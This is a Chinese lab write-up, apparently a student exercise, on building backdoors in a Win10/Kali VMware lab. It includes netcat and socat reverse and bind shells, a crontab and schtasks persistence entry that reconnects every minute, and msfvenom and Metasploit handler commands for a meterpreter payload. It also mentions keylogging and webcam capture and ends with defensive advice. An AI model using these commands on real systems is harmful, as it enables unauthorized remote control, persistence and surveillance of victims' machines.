后门原理与实践

时间:2024-03-10 15:25:53

后门就是不经过正常认证流程而访问系统的通道。后门的实现就像是有个间谍能够在我们需要访问系统时为我们开门,我们往往希望后门有隐蔽性和自发性(能自己打开提供通道)。

下面通过实际操作介绍几个常用后门工具。

环境:win10、VMware、kali

利用netcat获取kali的shell

netcat最基本的功能是帮助我们建立网络连接(如图1),在此基础上还可以与一些程序绑定以实现远程控制的效果。

                            图1

先从最简单开始,把系统防火墙和杀软关闭,并且后门手动下载到靶机上。在这样的条件下实现如何利用netcat让windows主机获得kali虚拟机的shell。

通常利用netcat实现后门有以下3个步骤:

  1.主机打开监听

  -> ncat.exe -l -p 端口号

  2.靶机反弹连接win

  $: nc 主机ip 监听端口号 -e /bin/sh

  3.主机下获得一个linux shell,可运行任何指令,如ls

显然这里windows是主机,kali虚拟机是靶机。从上面步骤可以看出,我们需要端口号和主机ip,端口号可以随便取,在实际中往往取80(网页端口)等端口以躲避防火墙的拦截,主机ip若是在局域网中的独立机器直接用ipconfig里的ip v4地址即可,但对虚拟机来说需要先确认使用的是哪种虚拟网络,ipconfig也会看见多了几个以太网地址(见图2),就是对应不同的VMware虚拟网络的。如果是桥接可以直接使用实际局域网中的地址,其他两种可以在VMware/编辑/虚拟网络编辑中看到ip段(见图3),进而可以确定下来。具体有关VMware几种网络连接方式参见https://www.linuxidc.com/Linux/2016-09/135521.htm。

                      图2

                        图3

自己在nat模式下试着ping了三个地址,发现全部能通,但是用ncat时却只有nat对应的以太网地址才可以连通,不是很清楚原因,如果有大神知道的希望能够指点。

确定下ip之后我们按照netcat的用法在命令行输入输入,当我们可以在win10 cmd下输入时说明连接成功了,见图4,已经成功获取了shell。

              图4

第一次尝试成功了,我们肯定希望能长久地使用后门,那就设置让他自启。学过linux的肯定能想到利用crontab来实现自启,但是利用常规的crontab -e来编辑会直接打开vi等编辑器来操作,而这对在远程操作的我们来说结果是向图5这样的。

                                    图5

可以理解,因为我们打开的是shell,其他程序不一定向shell那么规矩的返回结果给我们的netcat,所以想办法绕开用文本编辑器来修改crontab。于是想到了重定向>和echo来构造一个cron文件,然后利用“crontab 文件名”来启用我们的设置。

touch guocron
echo "* * * * * nc 192.168.201.1 1213 -e /bin/sh" > guocron
crontab guocron

结果如图6,可以看到已经成功设置每分钟执行一次连接操作,意味着只要开机后基本就自己连上我们的主机了。

                    图6

 socat获取win10 cmd

socat是一个功能强大的工具,在这里我们可以把它当做强化版的nc。这里利用它实现kali虚拟机获取win10 cmd的控制。

  1.连接目标

  socat - tcp:192.168.201.1:80 
  这个命令等同于 nc 192.168.201.1 80。 socat里面,必须有两个流,所以第一个参数-代表标准的输入输出,第二个流连接到192.168.201.1的80端口。 

  2.反向连接

  socat tcp-listen:80 exec:cmd,pty,stderr

  这个命名把cmd绑定到端口80,同时把cmd的Stderr复位向到stdout。

有了这两个基本操作就可以做后门了,先win10绑定cmd打开监听,然后在kali虚拟机中连接,结果如图7所示。

              图7

windows cmd设置计划任务可以利用schtasks命令设置,schtasks /create /sc minute /mo 1 /tn testtask /tr "cmd /c socat.exe tcp-listen:1213 exec:cmd.exe,pty,stderr"设置每一分钟运行一次socat监听的命令。更多细节详见https://www.cnblogs.com/magic_evan/archive/2011/10/31/2230349.html。

Meterpreter的使用

只说自己通过这次实践对Meterpreter的感受,这工具太强大了,一旦连上后面,有各种各样现场的工具给你来支配靶机,一句代码就可以录你键盘,获取你屏幕。从后门的生成到控制端一条龙。

大致流程是先利用meterpreter生成后门程序,进入msfconsole开启监听,想办法在靶机上运行我们的后门,msfconsole与靶机建立连接,随心所欲的对靶机进行控制。

接下来实践用meterpreter对win10进行渗透。

生成后门exe,复制到win10上

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443 -f exe > meter_backdoor.exe

-p后接payload表示选择payload整合到exe上,LHOST和LPORT是监听的ip和端口号,也就是我们自己的机器,-f,format输出格式,然后重定向到文件。

                                        图8

然后通过netcat传输到win10电脑上,kali上输入

ncat -l 1213 < 20151213_backdoor.exe

win10上输入

nc 192.168.201.136 1213 > 20151213_backdoor.exe

然后win10系统上会收到这个exe文件,等kali监听后再打开。

MSF打开监听进程

shell下输入msfconsole就可以打开msf命令行,加载结束后输入

msf > use exploit/multi/handler
msf > set LHOST 本机ip
msf > set LPORT 监听端口
msf > show oprions #查看配置
msf > exploit #开始监听

exploit开始后切到win10运行之前发送过去的exe,可以在msfconsole看见有session建立了(如图9),之后就可以开始我们想做的事了。

                  图9(成功建立会话连接)

 

                       图10(进程转移)

用grep过滤ps -a出来的进程,找到explorer这种稳定进程转移过去。

                      图11(判断是否为虚拟机)

不知为何有时运行这些脚本时会出错,没能找到原因,希望能有大牛指教。

最后上传一张利用webcam_snap拍取的照片。

                    图12

体会

第一次做这方面的东西,过程可谓十分艰辛,因为总有意想不到的错误出现。但是当成功建立session的那一刻感觉所有付出都是值得的。

同时也深感网络环境的不安全,若是一台没有杀软,用盗版系统的机子随随便便都会让人给入侵了,不过后门到底是需要有个间谍也就是那个exe来开启,所以不乱下东西,不乱点程序是可以极大降低自己被人入侵的概率。

作为入侵者就是想各种办法骗取别人点击自己的文件了,通过包装把自己的exe放在钓鱼网站上等着人下载运行(多数),或者是利用某些系统漏洞强行渗透(较少)。一旦第一次被入侵,这些程序往往就以计划任务或者服务等方式自启动。

也是利用这点,我们可以在开机启动项和服务里面找一些比较不正常的程序,通过审计观察它是否有后门的嫌疑。